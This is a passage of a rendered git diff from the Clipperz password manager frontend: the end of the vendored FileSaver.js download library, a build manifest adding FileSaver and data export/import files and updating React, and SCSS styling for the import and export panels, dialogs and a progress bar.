 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
										if (target_view) {
 | 
				
			||||||
 | 
											target_view.location.href = object_url;
 | 
				
			||||||
 | 
										} else {
 | 
				
			||||||
 | 
											var new_tab = view.open(object_url, "_blank");
 | 
				
			||||||
 | 
											if (new_tab == undefined && typeof safari !== "undefined") {
 | 
				
			||||||
 | 
												//Apple do not allow window.open, see http://bit.ly/1kZffRI
 | 
				
			||||||
 | 
												view.location.href = object_url
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
										filesaver.readyState = filesaver.DONE;
 | 
				
			||||||
 | 
										dispatch_all();
 | 
				
			||||||
 | 
										revoke(object_url);
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									, abortable = function(func) {
 | 
				
			||||||
 | 
										return function() {
 | 
				
			||||||
 | 
											if (filesaver.readyState !== filesaver.DONE) {
 | 
				
			||||||
 | 
												return func.apply(this, arguments);
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
										};
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									, create_if_not_found = {create: true, exclusive: false}
 | 
				
			||||||
 | 
									, slice
 | 
				
			||||||
 | 
								;
 | 
				
			||||||
 | 
								filesaver.readyState = filesaver.INIT;
 | 
				
			||||||
 | 
								if (!name) {
 | 
				
			||||||
 | 
									name = "download";
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								if (can_use_save_link) {
 | 
				
			||||||
 | 
									object_url = get_URL().createObjectURL(blob);
 | 
				
			||||||
 | 
									save_link.href = object_url;
 | 
				
			||||||
 | 
									save_link.download = name;
 | 
				
			||||||
 | 
									click(save_link);
 | 
				
			||||||
 | 
									filesaver.readyState = filesaver.DONE;
 | 
				
			||||||
 | 
									dispatch_all();
 | 
				
			||||||
 | 
									revoke(object_url);
 | 
				
			||||||
 | 
									return;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								// prepend BOM for UTF-8 XML and text/plain types
 | 
				
			||||||
 | 
								if (/^\s*(?:text\/(?:plain|xml)|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(blob.type)) {
 | 
				
			||||||
 | 
									blob = new Blob(["\ufeff", blob], {type: blob.type});
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								// Object and web filesystem URLs have a problem saving in Google Chrome when
 | 
				
			||||||
 | 
								// viewed in a tab, so I force save with application/octet-stream
 | 
				
			||||||
 | 
								// http://code.google.com/p/chromium/issues/detail?id=91158
 | 
				
			||||||
 | 
								// Update: Google errantly closed 91158, I submitted it again:
 | 
				
			||||||
 | 
								// https://code.google.com/p/chromium/issues/detail?id=389642
 | 
				
			||||||
 | 
								if (view.chrome && type && type !== force_saveable_type) {
 | 
				
			||||||
 | 
									slice = blob.slice || blob.webkitSlice;
 | 
				
			||||||
 | 
									blob = slice.call(blob, 0, blob.size, force_saveable_type);
 | 
				
			||||||
 | 
									blob_changed = true;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								// Since I can't be sure that the guessed media type will trigger a download
 | 
				
			||||||
 | 
								// in WebKit, I append .download to the filename.
 | 
				
			||||||
 | 
								// https://bugs.webkit.org/show_bug.cgi?id=65440
 | 
				
			||||||
 | 
								if (webkit_req_fs && name !== "download") {
 | 
				
			||||||
 | 
									name += ".download";
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								if (type === force_saveable_type || webkit_req_fs) {
 | 
				
			||||||
 | 
									target_view = view;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								if (!req_fs) {
 | 
				
			||||||
 | 
									fs_error();
 | 
				
			||||||
 | 
									return;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								fs_min_size += blob.size;
 | 
				
			||||||
 | 
								req_fs(view.TEMPORARY, fs_min_size, abortable(function(fs) {
 | 
				
			||||||
 | 
									fs.root.getDirectory("saved", create_if_not_found, abortable(function(dir) {
 | 
				
			||||||
 | 
										var save = function() {
 | 
				
			||||||
 | 
											dir.getFile(name, create_if_not_found, abortable(function(file) {
 | 
				
			||||||
 | 
												file.createWriter(abortable(function(writer) {
 | 
				
			||||||
 | 
													writer.onwriteend = function(event) {
 | 
				
			||||||
 | 
														target_view.location.href = file.toURL();
 | 
				
			||||||
 | 
														filesaver.readyState = filesaver.DONE;
 | 
				
			||||||
 | 
														dispatch(filesaver, "writeend", event);
 | 
				
			||||||
 | 
														revoke(file);
 | 
				
			||||||
 | 
													};
 | 
				
			||||||
 | 
													writer.onerror = function() {
 | 
				
			||||||
 | 
														var error = writer.error;
 | 
				
			||||||
 | 
														if (error.code !== error.ABORT_ERR) {
 | 
				
			||||||
 | 
															fs_error();
 | 
				
			||||||
 | 
														}
 | 
				
			||||||
 | 
													};
 | 
				
			||||||
 | 
													"writestart progress write abort".split(" ").forEach(function(event) {
 | 
				
			||||||
 | 
														writer["on" + event] = filesaver["on" + event];
 | 
				
			||||||
 | 
													});
 | 
				
			||||||
 | 
													writer.write(blob);
 | 
				
			||||||
 | 
													filesaver.abort = function() {
 | 
				
			||||||
 | 
														writer.abort();
 | 
				
			||||||
 | 
														filesaver.readyState = filesaver.DONE;
 | 
				
			||||||
 | 
													};
 | 
				
			||||||
 | 
													filesaver.readyState = filesaver.WRITING;
 | 
				
			||||||
 | 
												}), fs_error);
 | 
				
			||||||
 | 
											}), fs_error);
 | 
				
			||||||
 | 
										};
 | 
				
			||||||
 | 
										dir.getFile(name, {create: false}, abortable(function(file) {
 | 
				
			||||||
 | 
											// delete file if it already exists
 | 
				
			||||||
 | 
											file.remove();
 | 
				
			||||||
 | 
											save();
 | 
				
			||||||
 | 
										}), abortable(function(ex) {
 | 
				
			||||||
 | 
											if (ex.code === ex.NOT_FOUND_ERR) {
 | 
				
			||||||
 | 
												save();
 | 
				
			||||||
 | 
											} else {
 | 
				
			||||||
 | 
												fs_error();
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
										}));
 | 
				
			||||||
 | 
									}), fs_error);
 | 
				
			||||||
 | 
								}), fs_error);
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							, FS_proto = FileSaver.prototype
 | 
				
			||||||
 | 
							, saveAs = function(blob, name) {
 | 
				
			||||||
 | 
								return new FileSaver(blob, name);
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						;
 | 
				
			||||||
 | 
						FS_proto.abort = function() {
 | 
				
			||||||
 | 
							var filesaver = this;
 | 
				
			||||||
 | 
							filesaver.readyState = filesaver.DONE;
 | 
				
			||||||
 | 
							dispatch(filesaver, "abort");
 | 
				
			||||||
 | 
						};
 | 
				
			||||||
 | 
						FS_proto.readyState = FS_proto.INIT = 0;
 | 
				
			||||||
 | 
						FS_proto.WRITING = 1;
 | 
				
			||||||
 | 
						FS_proto.DONE = 2;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						FS_proto.error =
 | 
				
			||||||
 | 
						FS_proto.onwritestart =
 | 
				
			||||||
 | 
						FS_proto.onprogress =
 | 
				
			||||||
 | 
						FS_proto.onwrite =
 | 
				
			||||||
 | 
						FS_proto.onabort =
 | 
				
			||||||
 | 
						FS_proto.onerror =
 | 
				
			||||||
 | 
						FS_proto.onwriteend =
 | 
				
			||||||
 | 
							null;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						return saveAs;
 | 
				
			||||||
 | 
					}(
 | 
				
			||||||
 | 
						   typeof self !== "undefined" && self
 | 
				
			||||||
 | 
						|| typeof window !== "undefined" && window
 | 
				
			||||||
 | 
						|| this.content
 | 
				
			||||||
 | 
					));
 | 
				
			||||||
 | 
					// `self` is undefined in Firefox for Android content script context
 | 
				
			||||||
 | 
					// while `this` is nsIContentFrameMessageManager
 | 
				
			||||||
 | 
					// with an attribute `content` that corresponds to the window
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					if (typeof module !== "undefined" && module.exports) {
 | 
				
			||||||
 | 
					  module.exports.saveAs = saveAs;
 | 
				
			||||||
 | 
					} else if ((typeof define !== "undefined" && define !== null) && (define.amd != null)) {
 | 
				
			||||||
 | 
					  define([], function() {
 | 
				
			||||||
 | 
					    return saveAs;
 | 
				
			||||||
 | 
					  });
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										1429
									
								
								frontend/delta/js/Modernizr/modernizr-2.8.2.js
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
						
						
									
										1429
									
								
								frontend/delta/js/Modernizr/modernizr-2.8.2.js
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							@@ -5,8 +5,8 @@
 | 
				
			|||||||
		"mochikit.commit":				"6f26f745d5d915540aa0fc6c34fda24952891a9d",
 | 
							"mochikit.commit":				"6f26f745d5d915540aa0fc6c34fda24952891a9d",
 | 
				
			||||||
 | 
					
 | 
				
			||||||
		"reactjs.repository":			"https://github.com/facebook/react.git",
 | 
							"reactjs.repository":			"https://github.com/facebook/react.git",
 | 
				
			||||||
		"reactjs.version":				"0.11.0",
 | 
							"reactjs.version":				"0.13.1",
 | 
				
			||||||
		"reactjs.commit":				"95d82cacd6e9cc6a2fe6366d79510cc9133886cb",
 | 
							"reactjs.commit":				"f308c03455f07ec1c7f422220b411ff1c3b024de",
 | 
				
			||||||
 | 
					
 | 
				
			||||||
		"modernizr.repository":			"https://github.com/Modernizr/Modernizr",
 | 
							"modernizr.repository":			"https://github.com/Modernizr/Modernizr",
 | 
				
			||||||
		"modernizr.version":			"2.8.2",
 | 
							"modernizr.version":			"2.8.2",
 | 
				
			||||||
@@ -62,6 +62,9 @@
 | 
				
			|||||||
		"-- Modernizr/modernizr-2.8.2.js",
 | 
							"-- Modernizr/modernizr-2.8.2.js",
 | 
				
			||||||
		"OnMediaQuery/onmediaquery-0.2.0.js",
 | 
							"OnMediaQuery/onmediaquery-0.2.0.js",
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
 | 
							"FileSaver/Blob.js",
 | 
				
			||||||
 | 
							"FileSaver/FileSaver.js",
 | 
				
			||||||
 | 
					
 | 
				
			||||||
		"PapaParse/papaparse.js",
 | 
							"PapaParse/papaparse.js",
 | 
				
			||||||
		"-- PapaParse/papaparse.min.js",
 | 
							"-- PapaParse/papaparse.min.js",
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -177,9 +180,9 @@
 | 
				
			|||||||
		"Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js",
 | 
							"Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js",
 | 
				
			||||||
		"Clipperz/PM/UI/Components/ExtraFeatures/Passphrase.js",
 | 
							"Clipperz/PM/UI/Components/ExtraFeatures/Passphrase.js",
 | 
				
			||||||
		"Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js",
 | 
							"Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js",
 | 
				
			||||||
		"Clipperz/PM/UI/Components/ExtraFeatures/Import.js",
 | 
							"Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js",
 | 
				
			||||||
 | 
							"Clipperz/PM/UI/Components/ExtraFeatures/DataImport.js",
 | 
				
			||||||
 | 
					
 | 
				
			||||||
		"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/StepsNavigation.js",
 | 
					 | 
				
			||||||
		"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/Input.js",
 | 
							"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/Input.js",
 | 
				
			||||||
		"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js",
 | 
							"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js",
 | 
				
			||||||
		"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvLabels.js",
 | 
							"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvLabels.js",
 | 
				
			||||||
@@ -203,6 +206,9 @@
 | 
				
			|||||||
		"Clipperz/PM/UI/MainController.js",
 | 
							"Clipperz/PM/UI/MainController.js",
 | 
				
			||||||
		"-- Clipperz/PM/UI/MainDesktopController.js",
 | 
							"-- Clipperz/PM/UI/MainDesktopController.js",
 | 
				
			||||||
		"Clipperz/PM/UI/DirectLoginController.js",
 | 
							"Clipperz/PM/UI/DirectLoginController.js",
 | 
				
			||||||
 | 
							"Clipperz/PM/UI/ExportController.js",
 | 
				
			||||||
 | 
							"Clipperz/PM/UI/ImportController.js",
 | 
				
			||||||
 | 
							"Clipperz/PM/UI/ImportContext.js",
 | 
				
			||||||
		"main.js"
 | 
							"main.js"
 | 
				
			||||||
	],
 | 
						],
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -209,9 +209,8 @@ html {
 | 
				
			|||||||
	
 | 
						
 | 
				
			||||||
		& > div {
 | 
							& > div {
 | 
				
			||||||
			@include flex(auto);
 | 
								@include flex(auto);
 | 
				
			||||||
		
 | 
					//			overflow: auto;
 | 
				
			||||||
			overflow: auto;
 | 
								@include overflow-scroll();
 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
		footer {
 | 
							footer {
 | 
				
			||||||
@@ -226,6 +225,20 @@ html {
 | 
				
			|||||||
		height: 100%;
 | 
							height: 100%;
 | 
				
			||||||
//		background-color: rgba( 0, 0, 0, 0.95);
 | 
					//		background-color: rgba( 0, 0, 0, 0.95);
 | 
				
			||||||
		background-color: black;
 | 
							background-color: black;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							.extraFeature {
 | 
				
			||||||
 | 
					//			@include flexbox();
 | 
				
			||||||
 | 
								height: 100%;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
								h1 {
 | 
				
			||||||
 | 
					//				@include flex(none);
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								.content {
 | 
				
			||||||
 | 
					//				@include flex(auto);
 | 
				
			||||||
 | 
									height: 100%;
 | 
				
			||||||
 | 
									@include overflow-scroll();
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
	}
 | 
						}
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -529,7 +542,7 @@ div.dialogBox {
 | 
				
			|||||||
	height: 100%;
 | 
						height: 100%;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	.mask {
 | 
						.mask {
 | 
				
			||||||
		z-index: 12;
 | 
							z-index: 25;
 | 
				
			||||||
	}
 | 
						}
 | 
				
			||||||
	div.dialog {
 | 
						div.dialog {
 | 
				
			||||||
		@include flex(none);
 | 
							@include flex(none);
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -178,7 +178,7 @@ refer to http://www.clipperz.com.
 | 
				
			|||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@mixin overflow-scroll () {
 | 
					@mixin overflow-scroll () {
 | 
				
			||||||
	overflow: scroll;
 | 
						overflow: auto;
 | 
				
			||||||
	-webkit-overflow-scrolling: touch;
 | 
						-webkit-overflow-scrolling: touch;
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -126,6 +126,23 @@ div.overlay {
 | 
				
			|||||||
		div.bar11 {@include transform(300deg, 0, -142%); @include animation-delay(-0.16670s);}
 | 
							div.bar11 {@include transform(300deg, 0, -142%); @include animation-delay(-0.16670s);}
 | 
				
			||||||
		div.bar12 {@include transform(330deg, 0, -142%); @include animation-delay(-0.08330s);}
 | 
							div.bar12 {@include transform(330deg, 0, -142%); @include animation-delay(-0.08330s);}
 | 
				
			||||||
	}
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						.progressBar {
 | 
				
			||||||
 | 
					//		display: block;
 | 
				
			||||||
 | 
							width: 100%;
 | 
				
			||||||
 | 
							background-color: #222;
 | 
				
			||||||
 | 
							height: 4px;
 | 
				
			||||||
 | 
							margin-top: 86px;
 | 
				
			||||||
 | 
							@include border-radius(2px);
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
							.progress {
 | 
				
			||||||
 | 
								background-color: #999;
 | 
				
			||||||
 | 
					//			width: 70%;
 | 
				
			||||||
 | 
								height: 4px;
 | 
				
			||||||
 | 
								display: block;
 | 
				
			||||||
 | 
								@include border-radius(2px);
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
//========================================================
 | 
					//========================================================
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -25,13 +25,17 @@ div.dialog {
 | 
				
			|||||||
	@include box-shadow(0px, 2px, 5px, rgba(50, 50, 50, 0.75));
 | 
						@include box-shadow(0px, 2px, 5px, rgba(50, 50, 50, 0.75));
 | 
				
			||||||
	@include border-radius(8px);
 | 
						@include border-radius(8px);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						max-width: 70%;
 | 
				
			||||||
	background-color: white;
 | 
						background-color: white;
 | 
				
			||||||
	padding: 30px;
 | 
						padding: 30px;
 | 
				
			||||||
 | 
						box-shadow: 4px 4px 6px 5px rgba(0,0,0, 0.3);
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	h3.message {
 | 
						h3.message {
 | 
				
			||||||
		font-size: 18pt;
 | 
							font-size: 18pt;
 | 
				
			||||||
		font-weight: bold;
 | 
							font-weight: bold;
 | 
				
			||||||
		padding-bottom: 20px;
 | 
							padding-bottom: 20px;
 | 
				
			||||||
 | 
							white-space: pre-wrap;
 | 
				
			||||||
 | 
							word-wrap: break-word;
 | 
				
			||||||
	}
 | 
						}
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	div.answers {
 | 
						div.answers {
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -49,8 +49,14 @@ refer to http://www.clipperz.com.
 | 
				
			|||||||
//				padding-right: 0px;
 | 
					//				padding-right: 0px;
 | 
				
			||||||
				border-bottom: 1px solid white;
 | 
									border-bottom: 1px solid white;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									& > h1 {
 | 
				
			||||||
 | 
										cursor: pointer;
 | 
				
			||||||
 | 
										font-size: 16pt;
 | 
				
			||||||
 | 
										padding: 10px;
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
				& > ul {
 | 
									& > ul {
 | 
				
			||||||
					padding-left: 10px;
 | 
					//					padding-left: 10px;
 | 
				
			||||||
				}
 | 
									}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
//				&:last-child {
 | 
					//				&:last-child {
 | 
				
			||||||
@@ -68,11 +74,22 @@ refer to http://www.clipperz.com.
 | 
				
			|||||||
				li {
 | 
									li {
 | 
				
			||||||
					& > ul > li {
 | 
										& > ul > li {
 | 
				
			||||||
						padding: 10px;
 | 
											padding: 10px;
 | 
				
			||||||
 | 
											padding-left: 20px;
 | 
				
			||||||
						padding-right: 0px;
 | 
											padding-right: 0px;
 | 
				
			||||||
 | 
											cursor: pointer;
 | 
				
			||||||
 | 
										
 | 
				
			||||||
 | 
											&.selected {
 | 
				
			||||||
 | 
												background-color: #333;
 | 
				
			||||||
 | 
					//							color: black;
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
						& > div {
 | 
											& > div {
 | 
				
			||||||
							padding: 4px;
 | 
												padding: 4px;
 | 
				
			||||||
						}
 | 
											}
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											&.offlineCopy {
 | 
				
			||||||
 | 
												cursor: default;
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
					}
 | 
										}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
					&.open {
 | 
										&.open {
 | 
				
			||||||
@@ -83,13 +100,14 @@ refer to http://www.clipperz.com.
 | 
				
			|||||||
					
 | 
										
 | 
				
			||||||
					}
 | 
										}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
					h1 {
 | 
					//					h1 {
 | 
				
			||||||
						cursor: pointer;
 | 
					//						cursor: pointer;
 | 
				
			||||||
						font-size: 16pt;
 | 
					//						font-size: 16pt;
 | 
				
			||||||
						padding: 10px;
 | 
					//						padding: 10px;
 | 
				
			||||||
					}
 | 
					//					}
 | 
				
			||||||
				
 | 
									
 | 
				
			||||||
					h2 {
 | 
										h2 {
 | 
				
			||||||
 | 
					//						cursor: pointer;
 | 
				
			||||||
						font-weight: 300;
 | 
											font-weight: 300;
 | 
				
			||||||
						font-size: 14pt;
 | 
											font-size: 14pt;
 | 
				
			||||||
					}
 | 
										}
 | 
				
			||||||
@@ -157,6 +175,204 @@ refer to http://www.clipperz.com.
 | 
				
			|||||||
			display: none;
 | 
								display: none;
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
 | 
							.extraFeature {
 | 
				
			||||||
 | 
								padding: 20px;
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								h1 {
 | 
				
			||||||
 | 
									font-size: 20pt;
 | 
				
			||||||
 | 
									padding-bottom: 20px;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								form {
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
									label {
 | 
				
			||||||
 | 
										display: none;
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									input {
 | 
				
			||||||
 | 
										$border-size: 0px; //	2px;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										display: block;
 | 
				
			||||||
 | 
										font-size: 18pt;
 | 
				
			||||||
 | 
										margin-bottom: 8px;
 | 
				
			||||||
 | 
										padding: (6px - $border-size) (10px - $border-size);
 | 
				
			||||||
 | 
										border: $border-size solid white;
 | 
				
			||||||
 | 
										width: 350px;
 | 
				
			||||||
 | 
										color: black;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										&.invalid {
 | 
				
			||||||
 | 
											border: $border-size solid $clipperz-orange;
 | 
				
			||||||
 | 
											color: gray;
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
									p {
 | 
				
			||||||
 | 
										@include flexbox;
 | 
				
			||||||
 | 
										@include flex-direction(row);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										input {
 | 
				
			||||||
 | 
											width: 30px;
 | 
				
			||||||
 | 
											@include flex(auto);
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
										span {
 | 
				
			||||||
 | 
											@include flex(auto);
 | 
				
			||||||
 | 
											font-size: 12pt;
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									button {
 | 
				
			||||||
 | 
										font-family: "clipperz-font";
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										color: white;
 | 
				
			||||||
 | 
										font-size: 14pt;
 | 
				
			||||||
 | 
										border: 0px;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										margin-top: 20px;
 | 
				
			||||||
 | 
										padding: 6px 10px;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										border: 1px solid white;
 | 
				
			||||||
 | 
										background-color: $main-color;
 | 
				
			||||||
 | 
										@include transition(background-color font-weight, 0.2s, linear);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										&:hover {
 | 
				
			||||||
 | 
										};
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										&:disabled {
 | 
				
			||||||
 | 
											font-weight: 100;
 | 
				
			||||||
 | 
											background-color: #c0c0c0;
 | 
				
			||||||
 | 
											cursor: default;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
											&:hover {
 | 
				
			||||||
 | 
											};
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
					//				input.valid:focus {
 | 
				
			||||||
 | 
					//					border: 2px solid $clipperz-blue;
 | 
				
			||||||
 | 
					//				}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								ul {
 | 
				
			||||||
 | 
									color: white;
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									li {
 | 
				
			||||||
 | 
										padding-bottom: 40px;
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								h3 {
 | 
				
			||||||
 | 
									font-size: 18pt;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								.description {
 | 
				
			||||||
 | 
									max-width: 500px;
 | 
				
			||||||
 | 
									padding: 10px 0px 20px 0px;
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									p {
 | 
				
			||||||
 | 
										font-size: 10pt;
 | 
				
			||||||
 | 
										margin-bottom: 7px;
 | 
				
			||||||
 | 
										line-height: 1.4em;
 | 
				
			||||||
 | 
										color:#bbb;
 | 
				
			||||||
 | 
										
 | 
				
			||||||
 | 
										em {
 | 
				
			||||||
 | 
											text-decoration: underline;
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								.button {
 | 
				
			||||||
 | 
									display: inline-block;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									color: white;
 | 
				
			||||||
 | 
									background-color: $main-color;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									font-size: 14pt;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									border: 1px solid white;
 | 
				
			||||||
 | 
									padding: 6px 10px;
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									&:after {
 | 
				
			||||||
 | 
									};
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									&.disabled {
 | 
				
			||||||
 | 
										background-color: #c0c0c0;
 | 
				
			||||||
 | 
										cursor: default;
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							.dataImport {
 | 
				
			||||||
 | 
								.stepNavbar {
 | 
				
			||||||
 | 
									li {
 | 
				
			||||||
 | 
										display: inline-block;
 | 
				
			||||||
 | 
										margin-right:1em;
 | 
				
			||||||
 | 
										
 | 
				
			||||||
 | 
										&.disabled {
 | 
				
			||||||
 | 
											color: gray;
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
										
 | 
				
			||||||
 | 
										&.active {
 | 
				
			||||||
 | 
											text-decoration: underline;
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								.error {
 | 
				
			||||||
 | 
									margin: 1em 0;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								textarea {
 | 
				
			||||||
 | 
									width:100%;
 | 
				
			||||||
 | 
									min-height:400px;
 | 
				
			||||||
 | 
									display: block;
 | 
				
			||||||
 | 
									margin: 1em 0;
 | 
				
			||||||
 | 
									border: 0;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								.csvTable {
 | 
				
			||||||
 | 
									background: white;
 | 
				
			||||||
 | 
									margin: 1em 0;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								.dropArea {
 | 
				
			||||||
 | 
									margin: 1em 0;
 | 
				
			||||||
 | 
									width: calc(100% - 6px);
 | 
				
			||||||
 | 
									text-align: center;
 | 
				
			||||||
 | 
									height: inherit;
 | 
				
			||||||
 | 
									line-height: 3em;
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									border: 3px dashed white;
 | 
				
			||||||
 | 
									background: black;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								.button {
 | 
				
			||||||
 | 
									margin-right:1em;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								.jsonPreview {
 | 
				
			||||||
 | 
									width: 100%;
 | 
				
			||||||
 | 
									height:80%;
 | 
				
			||||||
 | 
									overflow: auto;
 | 
				
			||||||
 | 
									margin-top:1em;
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									h3 {
 | 
				
			||||||
 | 
										font-weight:bold;
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									ul {
 | 
				
			||||||
 | 
										margin-bottom:1em;
 | 
				
			||||||
 | 
										padding-left:1em;
 | 
				
			||||||
 | 
										
 | 
				
			||||||
 | 
										li {
 | 
				
			||||||
 | 
											.label {
 | 
				
			||||||
 | 
												font-weight:bold;
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/*
 | 
				
			||||||
		.changePassphraseForm {
 | 
							.changePassphraseForm {
 | 
				
			||||||
			label {
 | 
								label {
 | 
				
			||||||
				display: block;
 | 
									display: block;
 | 
				
			||||||
@@ -184,67 +400,16 @@ refer to http://www.clipperz.com.
 | 
				
			|||||||
				display: inline-block;
 | 
									display: inline-block;
 | 
				
			||||||
